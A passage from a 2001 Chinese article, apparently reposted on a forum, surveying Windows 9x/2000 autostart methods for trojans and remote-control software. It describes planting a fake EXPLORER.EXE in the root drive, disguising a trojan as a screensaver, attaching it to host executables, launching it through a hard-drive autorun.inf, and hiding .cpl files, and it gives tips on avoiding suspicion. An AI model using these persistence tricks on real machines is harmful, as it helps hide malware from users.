注意:不可以直接把一个EXE文件改名为VxD文件,需要另外进行编程,生成的VxD文件。
4.其他启动方式:
1.C:\Explorer.exe启动方式:
这是一种特殊的启动方式,很少有人知道。
在Win9X下,由于SYSTEM.INI只指定了Windows的外壳文件EXPLORER.EXE的名称,而并没有指定绝对路径,所以Win9X会搜索EXPLORER.EXE文件。
搜索顺序如下:
1.    搜索当前目录。
2.    如果没有搜索到EXPLORER.EXE则系统会获取
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path]的信息获得相对路径。
3.    如果还是没有文件系统则会获取[HKEY_CURRENT_USER\Environment\Path]的信息获得相对路径。
其中:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path]和[HKEY_CURRENT_USER\Environment\Path]所保存的相对路径的键值为:“%SystemRoot%\System32;%SystemRoot%”和空。
所以,由于当系统启动时,“当前目录”肯定是\%SystemDrive%\(系统驱动器),这样系统搜索EXPLORER.EXE的顺序应该是:
1.    \%SystemDrive%\(例如C:\)
2.    \%SystemRoot%\System32(例如C:\WINNT\SYSTEM32)
3.    \%SystemRoot%\(例如C:\WINNT)
此时,如果把一个名为EXPLORER.EXE的文件放到系统根目录下,这样在每次启动的时候系统就会自动先启动根目录下的EXPLORER.EXE而不启动Windows目录下的EXPLORER.EXE了。
在WinNT系列下,WindowsNT/Windows2000更加注意了EXPLORER.EXE的文件名放置的位置,把系统启动时要使用的外壳文件(EXPLORER.EXE)的名称放到了:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Shell]
这个位置。
作为默认这个位置是不存在的,默认为是Explorer.exe。
具体请参考:http://www.microsoft.com/technet/security/bulletin/fq00-052.asp
注意:
一定要确定根目录下的EXPLORER.EXE要能启动Windows目录下的EXPLORER.EXE,否则会导致Windows无法启动!
现在流行的病毒CodeRed就会在C:\和D:\目录下放置两个约8KB的EXPLORER.EXE的文件!
在Windows 2000 SP2中微软已经更改了这一方式。
2.屏幕保护启动方式:
Windows的屏幕保护程序是一个.scr文件。这是一个PE格式的可执行文件。如果把屏幕保护程序.scr更名为.exe的文件,则该程序仍然可以正常启动。类似的.exe文件更名为.scr文件也是一样可以被运行!
.scr文件默认存在于C:\Windows目录中,他的名字就是在“显示”属性中的“屏幕保护程序”中的名称。在C:\Windows目录下的所有*.scr文件都会被Windows的“屏幕保护程序”显示,而文件路径本身保存在System.ini中的SCRNSAVE.EXE=的这条中。有意思的是在SCRNSAVE.EXE=这条中,其规定的路径也包含了目录名称。即如果我想安装一个.scr文件时,譬如安装路径为D:\SCR\1.scr,而D:\SCR\这个目录中还有2.scr,则在这个目录中的所有.scr(1.scr,2.scr)文件都会被显示在“屏幕保护程序”设置中。如果屏幕保护程序设为“(无)”,则SCRNSAVE.EXE=这条不存在。但如果SCRNSAVE.EXE=这条所指的文件或目录是错误的,则在“屏幕保护程序设置”中仍然会显示“(无)”。
屏幕保护程序的启动时间保存在注册表中的这个位置上:
HKEY_USERS\.DEFAULT\Control Panel\desktop\ScreenSaveTimeOut
时间单位为秒,不过虽然是秒,可启动时间却为分,即从60秒开始记录,如果记录时间小于60秒,则自动定为1分钟。
屏幕保护是否设置密码的键值为:
HKEY_USERS\.DEFAULT\Control Panel\desktop\ScreenSaveUsePassword
有密码则值为1没有密码则值为0。
由此可见,如果有人把自己所作的.exe程序更名为.scr的程序,并使程序能够在SYSTEM.INI中添加“SCANSAVE.EXE=/%Path%”f/ile.scr”(/%Path%/file.scr为所需要设置的文件的路径和文件名,如C:\Program files\trojan.scr),修改注册表中的HKEY_USERS\.DEFAULT\Control Panel\desktop\ScreenSaveTimeOut,定时间为60,则系统只要闲置一分钟该文件就会被启动!
另外一个简单的破坏方式就是可以随机产生屏幕保护密码并写入相应文件的相应位置,定时间为1分钟,则系统只要闲置一分钟则会被被锁!(由于涉及问题并非自启动问题,所以不加以讨论。)
注意:由于SCANSAVE.EXE=这里还会定义.scr文件的路径,所以最好不要把要启动的文件放置在.scr文件较多的一些目录,否则容易引起怀疑。(Windows目录除外)
3.依附启动:
这类启动方式已经有几分类似病毒了。这种方法是利用病毒的传染机制把要启动的EXE文件附着在另外的一个和多个EXE文件上,从而达到启动这个EXE文件就可以启动要启动的文件的目的。记得1999年YAI这个木马流行的时候,它就使用了依附一个EXE文件而达到启动的目的,但是由于BUGS和方式问题该木马的破坏作用却体现在了它“病毒”的一面。
使用这种启动方法一定要注意不能破坏EXE文件(否则会很容易被发现),而且最好把木马定位在固定的一个或者几个EXE文件上。如:IEXPLORE.EXE(IE的EXE文件),RNAPP.EXE(拨号网络的EXE文件)等等。
注意:这种方法的使用比较危险,技术上也需要相当功底,而且和病毒的距离很近,慎用。
4.计划任务启动方式:
Windows的计划任务是Windows的一个预置实现某些操作而使用的一个功能。但是如果利用这个功能也是能够实现自启动的目的的!由于很多电脑都会自动加载“计划任务”所以隐蔽性相对不错。
在Windows默认的情况下,计划任务是一个个保存在C:\Windows\Tasks\目录下的.job文件。.job文件里包括了启动方式、文件路径等一系列的信息。编制出或者使软件自己可以写出.job文件,则是关键。之后在相关地方写入标记启动即可。
由于时间关系,这个方法没有来得及试验,读者可以自己试验一下。
5.AutoRun.inf启动方式:
Autorun.inf这个标识也许大家都见过。是的,这个最常出现在光盘中,用于光盘自启动。每次把光盘放入光驱中的时候,系统会通过这个文件来决定是否自动启动光盘。但是有没有想过,这个文件也可以用来自启动一些文件!
Autorun.inf的内容通常是:
[AUTORUN]
OPEN=file.exe
ICON=icon.ico

OPEN中是插入光盘或者双击光盘盘符就会运行的可执行文件的名称。
ICON中是该光驱驱动器的图标文件。该文件可以是其他文件。如:
[AUTORUN]
OPEN=file.exe
ICON=icon.exe,2
其中icon.exe是一个有图标文件的可执行文件,“,2”则是该文件中的第3个图标。(“,0”是第一个图标,无数字则默认为第一个图标)。
最关键的是该Autorun.inf文件是可以被用在硬盘的驱动器上的。也就是说,如果把光盘上的所有文件及目录原封不动的复制到某一硬盘的根目录下,则双击盘符会出现自动运行文件!
如果是木马的话,打一个比方:一个木马如果执行后被命名为aaa.exe放置在C:\Windows\目录下。那么该木马可以生成一个autorun.inf
文件于C:\下,内容如下:
[AUTORUN]
OPEN=Windows\aaa.exe
ICON=aaa.exe
这样的话,盘符图标为aaa.exe的第一个图标文件。则在每次双击C盘的时候都会执行aaa.exe文件了。但要注意的是,aaa.exe文件
最好能够打开C盘目录。(比较容易伪装)

注意:
1.autorun.inf的属性被改为隐藏后仍可以正常使用。
2.autorun.inf中的路径对相对路径和绝对路径都是可以实现的。也就是说,如果autorun.inf被放在1盘符下,也可以2盘符上的文件!如:
如果把autorun.inf文件放在C盘根目录下,内容为
[AUTORUN]
OPEN=D:\CCC\bbb.exe
ICON=bbb.exe
则这时如果双击C盘则可以执行D盘CCC目录上的bbb.exe文件!
3.如果没有OPEN项目,则系统不执行任何文件,而去执行下一个命令。
4.如果没有ICON项目,则该盘符的图标为原Windows盘符图标,但如果有ICON项却设置错误,或者所设置的文件没有图标,则系统会显示为默认的空白图标。
5.自动启动相关:
1.代启动:
这种启动方式其实只是一个方法的问题。即可以用启动一个正常文件来启动另一个文件,SubSeven就用过启动Windos.exe从而启动SubSeven的Sever文件的方法。
2.Start启动:
在“运行“中或“MS-DOS”方式中输入start回车,则会显示
Runs a Windows program or an MS-DOS program.

START [options] program [arg...]
START [options] document.ext

/m[inimized] Run the new program minimized (in the background).
/max[imized] Run the new program maximized (in the foreground).
/r[estored]  Run the new program restored (in the foreground). [default]
/w[ait]      Does not return until the other program exits.
如果要启动的程序配合这个命令,则可以更加隐蔽,如:
start/m file.exe
但似乎有些有启动画面的软件(如金山词霸)对这条命令并没有反映。
3.控制面板启动:
这是利用控制面板程序可以被类似DLL执行,从而达到启动目的。
在控制面板中,.cpl文件是控制面板的原文件。默认的这些文件都会被放置在/%WINDOWS%/SYSTEM/目录下的,如desk.cpl是桌面属性、inetcpl.cpl是Internet选项之类。但这些.cpl文件全都是PE格式文件,也就是说如果用户把一个可执行的类似DLL的.cpl文件放入%\Windows%\System\中,则在控制面板中可看到其图标,并可执行!
由于.cpl文件的特殊性,需要使用rundll32.exe来启动该文件。rundll32.exe是Windows用来调用动态连接库函数时所使用的文件,在运行中输入:
rundll32 shell32.dll,Control_RunDLL /%path%/desk.cpl,,X
其中shell32.dll为被调用的DLL文件,意思为调用shell32.dll中的Control_RunDLL来打开desk.cpl文件;/%path%/为.cpl文件的路径,默认为C:\Windows\System;最后的X为desk.cpl文件的页数:从0开始,0为第一页(如“显示属性”的“背景”),1为第二页(如“桌面属性”的“屏幕保护程序”),依此类推。
但如果照上面的方法做,则该文件会在控制面板中被显示。有两种方法可以不让其显示:
1.    不要把自己的.cpl文件放在C:\WINDOWS\SYSTEM中。因为默认的情况下Windows会加载的所有.cpl文件。如果想让其显示则打开C:\WINDOWS\下的Control.ini文件,在[MMCPL]中写入类似:
file.cpl=D:\path\file.cpl
的命令,从而达到显示的目的。
2.    当你看到Control.ini文件的时候一定可以看到在[MMCPL]上面的[don't load]。是的,如果把你的文件以file.cpl=no的格式写入到这里面,那么文件就不被加载了。反之恢复。
4.其他:
注册表中:
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
的“HideFileExt”这个键值是确定Windows是不是显示扩展名的值,如果其值为1就隐藏扩展名,为0则不隐藏。
EXE文件中:
如SirCam蠕虫一样,*.EXE文件的扩展名可以改名称为.BAT、.COM、.PIF、.SCR等,并且运行效果一样,反过来不一定。但.EXE文件并不能更名为.LNK文件,这也许也是SirCam的一个BUG。
最后:
Windows的自启动方式有很多样式。这是Windows系统的一部分。一个隐蔽而又很少有人知道的自启动方式是远程监控软件成为一个优秀的软件的必要的条件。对于普通用户来说,了解这些信息也是非常必要的。笔者试图全面的介绍这些可以启动的方法和想法。文中提到的一些自启动方法有的很普通,有的则很少有人知道,有些方式甚至有可能是第一次被写出来。其中的许多方式笔者加入了自己的想法,使一些方式虽然普通但却很隐蔽。
其中所提的自启动方式全部在Windows98或提到的相应的系统中默认测试通过。对Windows ME和Windows2000只有部分适用。通过对不同平台的自启动方式测试,也可以发现Windows系统还是朝着越来越完善的方向发展。所以在未来的某个WINDOWS版本中,笔者不能保证这些能被使用。但总会有一些可以利用的地方。如果这篇涂鸦能给各位读者带来一些启发,那么笔者将会感到非常高兴!
由于时间仓促再加上笔者所学有限,文中错误之处一定不少,望读者海涵。

关于Windows的自启动方式的探讨可以与我联系,我的E-mail是snaix@yeah.net
本文转载请注明作者及出处。若用于商业,请与作者联系。
SnaiX完成于2001年8月15日

shelly 发表于  2004-02-23 10:22:40